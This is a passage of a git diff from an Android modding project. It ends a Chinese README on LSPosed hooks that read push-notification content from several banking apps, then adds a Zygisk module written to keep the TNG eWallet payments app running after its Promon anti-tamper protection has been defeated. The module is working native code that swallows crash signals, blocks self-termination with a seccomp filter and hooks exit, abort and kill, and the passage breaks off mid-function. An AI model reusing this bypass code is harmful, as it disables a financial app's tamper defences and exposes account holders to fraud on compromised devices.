- `xposed_ubank` / `xposed_ubank_notify`
|
||||
|
||||
---
|
||||
|
||||
## 4. 数据提取逻辑
|
||||
|
||||
### RemoteMessage(FCM)
|
||||
|
||||
1. `getNotification().getTitle()` / `getBody()`
|
||||
2. 若 body 为空 → 拼接 `getData()` 键值对
|
||||
|
||||
### Notification(前台兜底)
|
||||
|
||||
从 `extras` 读取:
|
||||
|
||||
- `EXTRA_TITLE` / `EXTRA_TEXT`
|
||||
- `EXTRA_BIG_TEXT`
|
||||
- `gcm.n.title` / `gcm.n.body`
|
||||
|
||||
---
|
||||
|
||||
## 5. 安装与验证
|
||||
|
||||
```powershell
|
||||
powershell -ExecutionPolicy Bypass -File scripts\install-full.ps1
|
||||
```
|
||||
|
||||
1. notiMessage **应用列表** 添加三家银行
|
||||
2. LSPosed 作用域勾选:**银行 App + notiMessage + xposed 模块**
|
||||
3. 强制停止银行 App 后重开
|
||||
4. 测试:
|
||||
|
||||
```powershell
|
||||
adb logcat | findstr /i "notiMessageHook/Bank notiMessageHook/Up notiMessageHook/Suncorp notiMessageHook/ubank HookMessageReceiver"
|
||||
```
|
||||
|
||||
| 场景 | 期望 |
|
||||
|------|------|
|
||||
| 银行 App **前台** 收到推送 | `[Hook/xposed_up]` 等 |
|
||||
| 银行 App **后台** 弹通知 | 通知通道 或 `xposed_*_notify` |
|
||||
|
||||
---
|
||||
|
||||
## 6. 限制与后续
|
||||
|
||||
- 银行可能 **不在通知里显示金额**(安全策略),Hook 也只能拿到 App 愿意展示的内容
|
||||
- ubank 非 MoEngage 载荷会走 Capacitor 路径,需实测哪条触发
|
||||
- 若 FCM 加密或仅静默同步,需再 Hook 业务层(如 `TransactionHistoryResponse`)——当前 DEX 未见稳定明文入库点
|
||||
- 逆向脚本:`reverse/scripts/scan_dex.py`、`reverse/scripts/scan_target.py`
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现逆向
|
||||
|
||||
```powershell
|
||||
$adb = "$env:LOCALAPPDATA\Android\Sdk\platform-tools\adb.exe"
|
||||
# 拉 base.apk
|
||||
& $adb shell pm path au.com.up.money
|
||||
& $adb pull <path> reverse/apks/up-base.apk
|
||||
# 扫描
|
||||
python reverse/scripts/scan_dex.py reverse/extracted
|
||||
```
|
||||
11
magisk-modules/tng_exit_guard/jni/Android.mk
Normal file
11
magisk-modules/tng_exit_guard/jni/Android.mk
Normal file
@@ -0,0 +1,11 @@
|
||||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
LOCAL_MODULE := tng_exit_guard
|
||||
LOCAL_SRC_FILES := main.cpp
|
||||
LOCAL_C_INCLUDES := $(LOCAL_PATH)
|
||||
LOCAL_LDLIBS := -llog -ldl
|
||||
LOCAL_CFLAGS := -Wall -Wextra -fno-rtti -fvisibility=hidden
|
||||
LOCAL_CPPFLAGS := -std=c++17
|
||||
LOCAL_LDFLAGS := -Wl,--exclude-libs,ALL
|
||||
include $(BUILD_SHARED_LIBRARY)
|
||||
4
magisk-modules/tng_exit_guard/jni/Application.mk
Normal file
4
magisk-modules/tng_exit_guard/jni/Application.mk
Normal file
@@ -0,0 +1,4 @@
|
||||
APP_ABI := arm64-v8a
|
||||
APP_PLATFORM := android-24
|
||||
APP_STL := c++_static
|
||||
APP_CPPFLAGS := -std=c++17
|
||||
916
magisk-modules/tng_exit_guard/jni/main.cpp
Normal file
916
magisk-modules/tng_exit_guard/jni/main.cpp
Normal file
@@ -0,0 +1,916 @@
|
||||
/*
|
||||
* TNG eWallet — Zygisk companion.
|
||||
*
|
||||
* stable: PLT + ABRT/SIGTRAP swallow + exit_group seccomp@400ms.
|
||||
* Promon worker SIGSEGV (libtngdigital_ewallet.so null deref): LR-return skip (cap N).
|
||||
* pc==lr 循环 SEGV 也 skip;libc++abi __cxa_guard_acquire → SIGABRT 吞掉。
|
||||
*/
|
||||
#include <android/log.h>
|
||||
#include <dlfcn.h>
|
||||
#include <errno.h>
|
||||
#include <linux/audit.h>
|
||||
#include <linux/filter.h>
|
||||
#include <linux/seccomp.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stddef.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysmacros.h>
|
||||
#include <ucontext.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <atomic>
|
||||
#include <cstdint>
|
||||
#include <cstdio>
|
||||
#include <cstring>
|
||||
|
||||
#include "zygisk.hpp"
|
||||
|
||||
#define SC_RET_ALLOW 0x7fff0000U
|
||||
#define SC_RET_ERRNO_EPERM (0x00050000U | 1U)
|
||||
|
||||
#define LOG_TAG "TngExitGuard"
|
||||
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
|
||||
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
|
||||
|
||||
static constexpr const char *kTargetPkg = "my.com.tngdigital.ewallet";
|
||||
static constexpr const char *kPromonSo = "libtngdigital_ewallet.so";
|
||||
static bool g_enabled = false;
|
||||
static zygisk::Api *g_api = nullptr;
|
||||
static std::atomic<int> g_cxx_plt{0};
|
||||
static std::atomic<int> g_seccomp_ok{0};
|
||||
static std::atomic<int> g_stack_chk{0};
|
||||
static std::atomic<int> g_promon_segv{0};
|
||||
static std::atomic<uintptr_t> g_promon_start{0};
|
||||
static std::atomic<uintptr_t> g_promon_end{0};
|
||||
static std::atomic<pid_t> g_main_tid{0};
|
||||
static std::atomic<int> g_abrt_swallow{0};
|
||||
static std::atomic<pid_t> g_abrt_last_tid{0};
|
||||
static std::atomic<uintptr_t> g_abrt_last_pc{0};
|
||||
static std::atomic<int> g_abrt_streak{0};
|
||||
/* 隔离进程 :goacqowmmt 会循环 SEGV;主进程 worker 也狂刷。cap 后 freeze 该线程 */
|
||||
static constexpr int kMaxPromonSegvSkip = 200;
|
||||
static constexpr int kMaxAbrtStreak = 3;
|
||||
static std::atomic<int> g_soft_sig_logged{0};
|
||||
|
||||
static void freeze_forever() {
|
||||
for (;;) pause();
|
||||
}
|
||||
|
||||
static void refresh_promon_so_range() {
|
||||
FILE *fp = fopen("/proc/self/maps", "r");
|
||||
if (!fp) return;
|
||||
char line[1024];
|
||||
uintptr_t start = 0, end = 0;
|
||||
while (fgets(line, sizeof(line), fp)) {
|
||||
unsigned long s = 0, e = 0;
|
||||
char path[512] = {};
|
||||
int n = sscanf(line, "%lx-%lx %*s %*s %*s %*s %511[^\n]", &s, &e, path);
|
||||
if (n < 3) continue;
|
||||
char *p = path;
|
||||
while (*p == ' ') ++p;
|
||||
if (strstr(p, kPromonSo) == nullptr) continue;
|
||||
if (start == 0 || s < start) start = s;
|
||||
if (e > end) end = e;
|
||||
}
|
||||
fclose(fp);
|
||||
if (start != 0 && end > start) {
|
||||
g_promon_start.store(start);
|
||||
g_promon_end.store(end);
|
||||
}
|
||||
}
|
||||
|
||||
static bool pc_in_promon_so(uintptr_t pc) {
|
||||
uintptr_t start = g_promon_start.load();
|
||||
uintptr_t end = g_promon_end.load();
|
||||
return start != 0 && pc >= start && pc < end;
|
||||
}
|
||||
|
||||
static void promon_segv_handler(int sig, siginfo_t *info, void *ctx) {
|
||||
(void)sig;
|
||||
(void)info;
|
||||
ucontext_t *uc = reinterpret_cast<ucontext_t *>(ctx);
|
||||
#if defined(__aarch64__)
|
||||
uintptr_t pc = uc->uc_mcontext.pc;
|
||||
uintptr_t lr = uc->uc_mcontext.regs[30];
|
||||
#else
|
||||
uintptr_t pc = 0;
|
||||
uintptr_t lr = 0;
|
||||
#endif
|
||||
refresh_promon_so_range();
|
||||
/* Promon 典型 pc==lr 自旋 null deref;maps 尚未刷新时也按此 skip */
|
||||
if (pc != 0 && pc == lr) {
|
||||
int n = ++g_promon_segv;
|
||||
if (n <= 3 || n % 50 == 0) {
|
||||
LOGI("promon pc==lr SIGSEGV tid=%d pc=%lx n=%d — skip to pc+4",
|
||||
(int)gettid(), (unsigned long)pc, n);
|
||||
}
|
||||
uc->uc_mcontext.pc = pc + 4;
|
||||
return;
|
||||
}
|
||||
if (pc_in_promon_so(pc) || pc_in_promon_so(lr)) {
|
||||
int n = ++g_promon_segv;
|
||||
uintptr_t target = lr;
|
||||
if (target == 0 || target == pc) {
|
||||
target = pc + 4;
|
||||
}
|
||||
if (kMaxPromonSegvSkip <= 0 || n <= kMaxPromonSegvSkip) {
|
||||
if (n <= 3 || n % 50 == 0) {
|
||||
LOGI("promon SIGSEGV tid=%d pc=%lx lr=%lx n=%d — skip to %lx",
|
||||
(int)gettid(), (unsigned long)pc, (unsigned long)lr, n,
|
||||
(unsigned long)target);
|
||||
}
|
||||
uc->uc_mcontext.pc = target;
|
||||
return;
|
||||
}
|
||||
LOGI("promon SIGSEGV tid=%d n=%d — cap hit, freeze", (int)gettid(), n);
|
||||
freeze_forever();
|
||||
}
|
||||
/* 1.9.10:Login 后出现 Promon so 外 SEGV → 旧逻辑 re-raise 直接闪退 */
|
||||
{
|
||||
int n = ++g_promon_segv;
|
||||
pid_t tid = gettid();
|
||||
if (n <= 5 || n % 50 == 0) {
|
||||
LOGI("non-promon SIGSEGV tid=%d pc=%lx lr=%lx n=%d — pc+4",
|
||||
(int)tid, (unsigned long)pc, (unsigned long)lr, n);
|
||||
}
|
||||
if (n > 200 && tid != g_main_tid.load()) {
|
||||
LOGI("non-promon SEGV storm tid=%d — freeze", (int)tid);
|
||||
freeze_forever();
|
||||
}
|
||||
if (pc != 0) {
|
||||
uc->uc_mcontext.pc = pc + 4;
|
||||
return;
|
||||
}
|
||||
}
|
||||
freeze_forever();
|
||||
}
|
||||
|
||||
/**
|
||||
* ABRT/TRAP:一律 pc+4。跳远距 LR 会弄坏主线程 Looper(闪退观感)。
|
||||
* 工作线程同 PC 连 abort 超限 → freeze;主线程始终 pc+4。
|
||||
*/
|
||||
static void fatal_skip_handler(int sig, siginfo_t *info, void *ctx) {
|
||||
(void)info;
|
||||
ucontext_t *uc = reinterpret_cast<ucontext_t *>(ctx);
|
||||
#if defined(__aarch64__)
|
||||
uintptr_t pc = uc->uc_mcontext.pc;
|
||||
uintptr_t lr = uc->uc_mcontext.regs[30];
|
||||
pid_t tid = gettid();
|
||||
|
||||
if (sig == SIGABRT) {
|
||||
int streak = 1;
|
||||
if (g_abrt_last_tid.load() == tid && g_abrt_last_pc.load() == pc) {
|
||||
streak = g_abrt_streak.fetch_add(1) + 1;
|
||||
} else {
|
||||
g_abrt_last_tid.store(tid);
|
||||
g_abrt_last_pc.store(pc);
|
||||
g_abrt_streak.store(1);
|
||||
}
|
||||
if (streak > kMaxAbrtStreak && tid != g_main_tid.load()) {
|
||||
LOGI("ABRT streak cap tid=%d pc=%lx n=%d — freeze worker", (int)tid,
|
||||
(unsigned long)pc, streak);
|
||||
freeze_forever();
|
||||
}
|
||||
int n = ++g_abrt_swallow;
|
||||
/* 主线程:abort 后 _exit 被 seccomp 拦 → abort 内部死循环(还复位 handler)→
|
||||
* 主线程永久卡死 → 黑屏/ANR。主线程 ABRT 时跳回 lr(Looper pollOnce)恢复;
|
||||
* 仅当 lr 距 pc 远(不在 abort 内部)才跳,否则仍在 abort epilogue 内跳 LR 会再 abort。 */
|
||||
uintptr_t target = pc + 4;
|
||||
if (tid == g_main_tid.load() && lr != 0 && pc != 0
|
||||
&& (lr < pc - 0x1000 || lr > pc + 0x1000)) {
|
||||
target = lr;
|
||||
}
|
||||
if (n <= 5 || n % 50 == 0) {
|
||||
LOGI("ABRT tid=%d pc=%lx lr=%lx streak=%d -> %lx", (int)tid,
|
||||
(unsigned long)pc, (unsigned long)lr, streak,
|
||||
(unsigned long)target);
|
||||
}
|
||||
uc->uc_mcontext.pc = target;
|
||||
return;
|
||||
}
|
||||
|
||||
if (sig == SIGTRAP) {
|
||||
int n = ++g_abrt_swallow;
|
||||
if (n <= 5 || n % 50 == 0) {
|
||||
LOGI("TRAP pc+4 tid=%d pc=%lx", (int)tid, (unsigned long)pc);
|
||||
}
|
||||
uc->uc_mcontext.pc = pc != 0 ? pc + 4 : lr;
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
freeze_forever();
|
||||
}
|
||||
|
||||
static void install_fatal_skip_handlers() {
|
||||
struct sigaction sa {};
|
||||
sa.sa_sigaction = fatal_skip_handler;
|
||||
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sigaction(SIGABRT, &sa, nullptr);
|
||||
sigaction(SIGTRAP, &sa, nullptr);
|
||||
LOGI("fatal skip handlers (ABRT/TRAP always pc+4)");
|
||||
}
|
||||
|
||||
static void install_promon_segv_handler() {
|
||||
refresh_promon_so_range();
|
||||
struct sigaction sa {};
|
||||
sa.sa_sigaction = promon_segv_handler;
|
||||
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
if (sigaction(SIGSEGV, &sa, nullptr) != 0) {
|
||||
LOGE("SIGSEGV handler install failed errno=%d", errno);
|
||||
return;
|
||||
}
|
||||
LOGI("promon SIGSEGV handler armed range=%lx-%lx",
|
||||
(unsigned long)g_promon_start.load(),
|
||||
(unsigned long)g_promon_end.load());
|
||||
}
|
||||
|
||||
static void install_soft_signals() {
|
||||
struct sigaction sa {};
|
||||
sa.sa_sigaction = fatal_skip_handler;
|
||||
sa.sa_flags = SA_SIGINFO | SA_ONSTACK;
|
||||
sigemptyset(&sa.sa_mask);
|
||||
sigaction(SIGABRT, &sa, nullptr);
|
||||
sigaction(SIGTRAP, &sa, nullptr);
|
||||
if (g_soft_sig_logged.fetch_add(1) == 0) {
|
||||
LOGI("soft signals (ABRT/TRAP always pc+4)");
|
||||
}
|
||||
}
|
||||
|
||||
#if defined(__aarch64__)
|
||||
#define _BPFI(code, jt, jf, k) \
|
||||
((struct sock_filter){(unsigned short)(code), (jt), (jf), (unsigned int)(k)})
|
||||
|
||||
static int install_seccomp_exit_group_only() {
|
||||
/* exit_group 拦 + 精准拦 Promon 自杀 kill(SIGABRT)(SI_USER)。
|
||||
* 只拦 kill()(nr=129):Promon 自杀是 kill(pid,SIGABRT) → si_code=SI_USER。
|
||||
* 不拦 tgkill/tkill:ART 的 abort() 用 tgkill(self) → si_code=SI_TKILL,
|
||||
* 拦它会让 libart 状态错乱 → 进程崩(之前验证)。 */
|
||||
struct sock_filter filter[] = {
|
||||
// 0: arch
|
||||
_BPFI(BPF_LD | BPF_W | BPF_ABS, 0, 0, offsetof(struct seccomp_data, arch)),
|
||||
_BPFI(BPF_JMP | BPF_JEQ | BPF_K, 1, 0, AUDIT_ARCH_AARCH64),
|
||||
_BPFI(BPF_RET | BPF_K, 0, 0, SC_RET_ALLOW), // 2: not aarch64
|
||||
_BPFI(BPF_LD | BPF_W | BPF_ABS, 0, 0, offsetof(struct seccomp_data, nr)),
|
||||
_BPFI(BPF_JMP | BPF_JEQ | BPF_K, 0, 1, __NR_exit_group), // 4: exit_group? true→5
|
||||
_BPFI(BPF_RET | BPF_K, 0, 0, SC_RET_ERRNO_EPERM), // 5: EPERM exit_group
|
||||
_BPFI(BPF_JMP | BPF_JEQ | BPF_K, 0, 3, __NR_kill), // 6: kill? true→7
|
||||
_BPFI(BPF_LD | BPF_W | BPF_ABS, 0, 0, offsetof(struct seccomp_data, args) + 8), // 7: args[1]=sig
|
||||
_BPFI(BPF_JMP | BPF_JEQ | BPF_K, 0, 1, SIGABRT), // 8: sig==SIGABRT? true→9
|
||||
_BPFI(BPF_RET | BPF_K, 0, 0, SC_RET_ERRNO_EPERM), // 9: EPERM kill ABRT
|
||||
_BPFI(BPF_RET | BPF_K, 0, 0, SC_RET_ALLOW), // 10: allow
|
||||
};
|
||||
struct sock_fprog prog = {
|
||||
.len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
|
||||
.filter = filter,
|
||||
};
|
||||
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
|
||||
long rc = syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER,
|
||||
SECCOMP_FILTER_FLAG_TSYNC, &prog);
|
||||
if (rc != 0) {
|
||||
rc = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
|
||||
if (rc != 0) {
|
||||
LOGE("seccomp failed errno=%d", errno);
|
||||
return -1;
|
||||
}
|
||||
LOGI("seccomp exit_group+kill-ABRT via prctl");
|
||||
} else {
|
||||
LOGI("seccomp exit_group+kill-ABRT via TSYNC");
|
||||
}
|
||||
g_seccomp_ok.store(1);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int install_seccomp_exit_group_only() { return -1; }
|
||||
#endif
|
||||
|
||||
using exit_fn = void (*)(int);
|
||||
using kill_fn = int (*)(pid_t, int);
|
||||
using tgkill_fn = int (*)(int, int, int);
|
||||
using raise_fn = int (*)(int);
|
||||
using pthread_kill_fn = int (*)(pthread_t, int);
|
||||
using cxa_guard_acquire_fn = int (*)(void *);
|
||||
using cxa_guard_abort_fn = void (*)();
|
||||
using dlopen_fn = void *(*)(const char *, int);
|
||||
using android_dlopen_ext_fn = void *(*)(const char *, int, const void *);
|
||||
using sphal_load_fn = void *(*)(const char *, int);
|
||||
using open_passthrough_hal_fn = void *(*)(const char *, const char *, int);
|
||||
|
||||
static cxa_guard_acquire_fn orig_cxa_guard_acquire = nullptr;
|
||||
static cxa_guard_abort_fn orig_cxa_guard_abort = nullptr;
|
||||
static dlopen_fn orig_dlopen = nullptr;
|
||||
static android_dlopen_ext_fn orig_android_dlopen_ext = nullptr;
|
||||
static sphal_load_fn orig_sphal_load = nullptr;
|
||||
static open_passthrough_hal_fn orig_open_passthrough_hal = nullptr;
|
||||
static void *g_libandroid_handle = nullptr;
|
||||
static void *g_mapper_pixel_handle = nullptr;
|
||||
|
||||
#ifndef RTLD_NOW
|
||||
#define RTLD_NOW 2
|
||||
#endif
|
||||
#ifndef RTLD_GLOBAL
|
||||
#define RTLD_GLOBAL 0x100
|
||||
#endif
|
||||
#ifndef RTLD_NOLOAD
|
||||
#define RTLD_NOLOAD 0x4
|
||||
#endif
|
||||
#ifndef RTLD_DEFAULT
|
||||
#define RTLD_DEFAULT reinterpret_cast<void *>(static_cast<uintptr_t>(-1))
|
||||
#endif
|
||||
|
||||
static exit_fn orig_exit = nullptr;
|
||||
static exit_fn orig__exit = nullptr;
|
||||
static void (*orig_abort)() = nullptr;
|
||||
static void (*orig_stack_chk_fail)() = nullptr;
|
||||
static kill_fn orig_kill = nullptr;
|
||||
static tgkill_fn orig_tgkill = nullptr;
|
||||
static raise_fn orig_raise = nullptr;
|
||||
static pthread_kill_fn orig_pthread_kill = nullptr;
|
||||
|
||||
static bool deadly(int sig) {
|
||||
return sig == SIGKILL || sig == SIGABRT || sig == SIGTERM ||
|
||||
sig == SIGTRAP || sig == SIGILL ||
|
||||
sig == 9 || sig == 6 || sig == 5 || sig == 4 || sig == 15;
|
||||
}
|
||||
|
||||
static void hooked_exit(int code) { LOGI("blocked exit(%d)", code); }
|
||||
static void hooked__exit(int code) { LOGI("blocked _exit(%d)", code); }
|
||||
static void hooked_abort() {
|
||||
LOGI("blocked abort() tid=%d", (int)gettid());
|
||||
}
|
||||
static void hooked_stack_chk_fail() {
|
||||
int n = ++g_stack_chk;
|
||||
LOGI("blocked __stack_chk_fail tid=%d n=%d", (int)gettid(), n);
|
||||
}
|
||||
static int hooked_raise(int sig) {
|
||||
if (deadly(sig)) {
|
||||
LOGI("blocked raise(%d)", sig);
|
||||
return 0;
|
||||
}
|
||||
return orig_raise ? orig_raise(sig) : -1;
|
||||
}
|
||||
static int hooked_kill(pid_t pid, int sig) {
|
||||
if (deadly(sig)) {
|
||||
LOGI("blocked kill(%d,%d)", (int)pid, sig);
|
||||
return 0;
|
||||
}
|
||||
return orig_kill ? orig_kill(pid, sig) : -1;
|
||||
}
|
||||
static int hooked_tgkill(int tgid, int tid, int sig) {
|
||||
if (deadly(sig)) {
|
||||
LOGI("blocked tgkill(%d,%d,%d)", tgid, tid, sig);
|
||||
return 0;
|
||||
}
|
||||
return orig_tgkill ? orig_tgkill(tgid, tid, sig) : -1;
|
||||
}
|
||||
static int hooked_pthread_kill(pthread_t thread, int sig) {
|
||||
if (deadly(sig)) {
|
||||
LOGI("blocked pthread_kill(sig=%d)", sig);
|
||||
return 0;
|
||||
}
|
||||
return orig_pthread_kill ? orig_pthread_kill(thread, sig) : -1;
|
||||
}
|
||||
|
||||
/** 仅打断递归初始化;系统 libc++ 静态 ctor(含 gralloc)必须真实执行。 */
|
||||
static thread_local void *tl_cxa_guard = nullptr;
|
||||
static thread_local int tl_cxa_depth = 0;
|
||||
|
||||
static int hooked_cxa_guard_acquire(void *guard) {
|
||||
if (guard != nullptr && tl_cxa_guard == guard) {
|
||||
LOGI("cxa_guard recursive skip tid=%d", (int)gettid());
|
||||
return 1;
|
||||
}
|
||||
if (!orig_cxa_guard_acquire) {
|
||||
return 1;
|
||||
}
|
||||
void *prev = tl_cxa_guard;
|
||||
tl_cxa_guard = guard;
|
||||
++tl_cxa_depth;
|
||||
int r = orig_cxa_guard_acquire(guard);
|
||||
--tl_cxa_depth;
|
||||
tl_cxa_guard = prev;
|
||||
return r;
|
||||
}
|
||||
static void hooked_cxa_guard_abort() {
|
||||
LOGI("blocked __cxa_guard_abort tid=%d depth=%d", (int)gettid(), tl_cxa_depth);
|
||||
}
|
||||
|
||||
static void *try_dlopen_noload(const char *name) {
|
||||
if (!orig_dlopen || name == nullptr) {
|
||||
return nullptr;
|
||||
}
|
||||
void *h = orig_dlopen(name, RTLD_NOW | RTLD_NOLOAD);
|
||||
if (h != nullptr) {
|
||||
return h;
|
||||
}
|
||||
const char *base = strrchr(name, '/');
|
||||
if (base != nullptr && base[1] != '\0') {
|
||||
h = orig_dlopen(base + 1, RTLD_NOW | RTLD_NOLOAD);
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
/** 校验 dlopen 句柄:拒绝空/明显毒化指针,并用 dlsym 探活。 */
|
||||
static bool libandroid_handle_ok(void *h) {
|
||||
if (h == nullptr) return false;
|
||||
uintptr_t p = reinterpret_cast<uintptr_t>(h);
|
||||
// 用户态典型映射;排除明显垃圾(如 0x...c5c5 / 高熵毒化)
|
||||
if (p < 0x10000UL) return false;
|
||||
if ((p & 0xffffUL) == 0xc5c5UL) return false;
|
||||
void *sym = dlsym(h, "ANativeWindow_fromSurface");
|
||||
if (sym == nullptr) {
|
||||
sym = dlsym(h, "AAssetManager_fromJava");
|
||||
}
|
||||
return sym != nullptr;
|
||||
}
|
||||
|
||||
static void preload_hwui_libs() {
|
||||
if (!orig_dlopen) {
|
||||
// PLT 尚未拿到 orig 时,用 libc 直调
|
||||
orig_dlopen = reinterpret_cast<dlopen_fn>(dlsym(RTLD_DEFAULT, "dlopen"));
|
||||
}
|
||||
if (!orig_sphal_load) {
|
||||
orig_sphal_load = reinterpret_cast<sphal_load_fn>(
|
||||
dlsym(RTLD_DEFAULT, "android_load_sphal_library"));
|
||||
}
|
||||
if (g_libandroid_handle != nullptr && !libandroid_handle_ok(g_libandroid_handle)) {
|
||||
LOGI("drop invalid cached libandroid %p", g_libandroid_handle);
|
||||
g_libandroid_handle = nullptr;
|
||||
}
|
||||
if (g_libandroid_handle == nullptr && orig_dlopen) {
|
||||
static const char *kPaths[] = {
|
||||
"libandroid.so",
|
||||
"/system/lib64/libandroid.so",
|
||||
"/apex/com.android.runtime/lib64/libandroid.so",
|
||||
};
|
||||
for (const char *path : kPaths) {
|
||||
void *h = orig_dlopen(path, RTLD_NOW | RTLD_GLOBAL);
|
||||
if (h == nullptr) {
|
||||
h = try_dlopen_noload(path);
|
||||
}
|
||||
if (libandroid_handle_ok(h)) {
|
||||
g_libandroid_handle = h;
|
||||
LOGI("preload libandroid ok path=%s -> %p", path, h);
|
||||
break;
|
||||
}
|
||||
if (h != nullptr) {
|
||||
LOGI("preload libandroid reject path=%s -> %p", path, h);
|
||||
}
|
||||
}
|
||||
if (g_libandroid_handle == nullptr) {
|
||||
LOGI("preload libandroid FAILED");
|
||||
}
|
||||
}
|
||||
if (g_mapper_pixel_handle == nullptr) {
|
||||
if (orig_sphal_load) {
|
||||
g_mapper_pixel_handle = orig_sphal_load("mapper.pixel.so", RTLD_NOW);
|
||||
LOGI("preload mapper via sphal -> %p", g_mapper_pixel_handle);
|
||||
}
|
||||
if (g_mapper_pixel_handle == nullptr && orig_dlopen) {
|
||||
g_mapper_pixel_handle = orig_dlopen(
|
||||
"/vendor/lib64/hw/mapper.pixel.so", RTLD_NOW | RTLD_GLOBAL);
|
||||
LOGI("preload mapper via path -> %p", g_mapper_pixel_handle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void *hooked_dlopen(const char *name, int flags) {
|
||||
void *handle = orig_dlopen ? orig_dlopen(name, flags) : nullptr;
|
||||
if (name == nullptr) {
|
||||
return handle;
|
||||
}
|
||||
if (handle != nullptr) {
|
||||
// 命名空间下偶发返回毒化非空句柄,HWUI 随后 FATAL
|
||||
if (strstr(name, "libandroid.so") != nullptr && !libandroid_handle_ok(handle)) {
|
||||
LOGI("dlopen got bad handle %p for %s — recover", handle, name);
|
||||
handle = nullptr;
|
||||
} else {
|
||||
if (strstr(name, "libandroid.so") != nullptr) {
|
||||
g_libandroid_handle = handle;
|
||||
}
|
||||
return handle;
|
||||
}
|
||||
}
|
||||
// 已映射库:命名空间下按名 dlopen 会失败,RTLD_NOLOAD 可取回句柄
|
||||
handle = try_dlopen_noload(name);
|
||||
if (handle != nullptr) {
|
||||
if (strstr(name, "libandroid.so") == nullptr || libandroid_handle_ok(handle)) {
|
||||
LOGI("dlopen NOLOAD hit name=%s -> %p", name, handle);
|
||||
if (strstr(name, "libandroid.so") != nullptr) {
|
||||
g_libandroid_handle = handle;
|
||||
}
|
||||
return handle;
|
||||
}
|
||||
}
|
||||
if (strstr(name, "libandroid.so") != nullptr) {
|
||||
if (g_libandroid_handle != nullptr && !libandroid_handle_ok(g_libandroid_handle)) {
|
||||
LOGI("drop bad cached libandroid %p", g_libandroid_handle);
|
||||
g_libandroid_handle = nullptr;
|
||||
}
|
||||
if (g_libandroid_handle != nullptr) {
|
||||
LOGI("dlopen return cached libandroid %p (from %s)",
|
||||
g_libandroid_handle, name);
|
||||
return g_libandroid_handle;
|
||||
}
|
||||
static const char *kAndroidPaths[] = {
|
||||
"/system/lib64/libandroid.so",
|
||||
"libandroid.so",
|
||||
};
|
||||
LOGI("dlopen miss name=%s flags=0x%x tid=%d — try fallback",
|
||||
name, flags, (int)gettid());
|
||||
for (const char *path : kAndroidPaths) {
|
||||
handle = try_dlopen_noload(path);
|
||||
if (handle == nullptr && orig_dlopen) {
|
||||
handle = orig_dlopen(path, flags | RTLD_GLOBAL);
|
||||
}
|
||||
if (libandroid_handle_ok(handle)) {
|
||||
g_libandroid_handle = handle;
|
||||
LOGI("dlopen fallback %s -> %p (from %s)", path, handle, name);
|
||||
return handle;
|
||||
}
|
||||
if (handle != nullptr) {
|
||||
LOGI("dlopen fallback reject %s -> %p", path, handle);
|
||||
}
|
||||
}
|
||||
LOGI("dlopen fallback failed name=%s tid=%d", name, (int)gettid());
|
||||
return nullptr;
|
||||
}
|
||||
if (strstr(name, "mapper.pixel") != nullptr
|
||||
|| strstr(name, "mapper.") != nullptr) {
|
||||
if (g_mapper_pixel_handle != nullptr) {
|
||||
LOGI("dlopen return cached mapper %p (from %s)",
|
||||
g_mapper_pixel_handle, name);
|
||||
return g_mapper_pixel_handle;
|
||||
}
|
||||
if (orig_sphal_load) {
|
||||
handle = orig_sphal_load("mapper.pixel.so", RTLD_NOW);
|
||||
if (handle != nullptr) {
|
||||
g_mapper_pixel_handle = handle;
|
||||
LOGI("dlopen sphal mapper -> %p (from %s)", handle, name);
|
||||
return handle;
|
||||
}
|
||||
}
|
||||
if (orig_dlopen) {
|
||||
handle = orig_dlopen("/vendor/lib64/hw/mapper.pixel.so",
|
||||
flags | RTLD_GLOBAL);
|
||||
if (handle != nullptr) {
|
||||
g_mapper_pixel_handle = handle;
|
||||
LOGI("dlopen path mapper -> %p (from %s)", handle, name);
|
||||
return handle;
|
||||
}
|
||||
}
|
||||
LOGI("dlopen mapper failed name=%s tid=%d", name, (int)gettid());
|
||||
}
|
||||
return handle;
|
||||
}
|
||||
|
||||
static void *hooked_android_dlopen_ext(const char *name, int flags, const void *extinfo) {
|
||||
void *handle = orig_android_dlopen_ext
|
||||
? orig_android_dlopen_ext(name, flags, extinfo)
|
||||
: nullptr;
|
||||
if (handle != nullptr || name == nullptr) {
|
||||
return handle;
|
||||
}
|
||||
if (strstr(name, "libandroid.so") != nullptr
|
||||
|| strstr(name, "mapper") != nullptr) {
|
||||
LOGI("android_dlopen_ext miss name=%s — try dlopen fallback", name);
|
||||
return hooked_dlopen(name, flags);
|
||||
}
|
||||
return handle;
|
||||
}
|
||||
|
||||
static bool find_lib_match(const char *suffix, const char *contains,
|
||||
dev_t *dev, ino_t *ino) {
|
||||
FILE *fp = fopen("/proc/self/maps", "r");
|
||||
if (!fp) return false;
|
||||
char line[1024];
|
||||
bool ok = false;
|
||||
while (fgets(line, sizeof(line), fp)) {
|
||||
uintptr_t start = 0, end = 0;
|
||||
char perms[8] = {};
|
||||
unsigned long long offset = 0;
|
||||
char deststr[32] = {};
|
||||
unsigned long inode = 0;
|
||||
char path[512] = {};
|
||||
int n = sscanf(line, "%lx-%lx %7s %llx %31s %lu %511[^\n]",
|
||||
&start, &end, perms, &offset, deststr, &inode, path);
|
||||
if (n < 7 || inode == 0) continue;
|
||||
char *p = path;
|
||||
while (*p == ' ') ++p;
|
||||
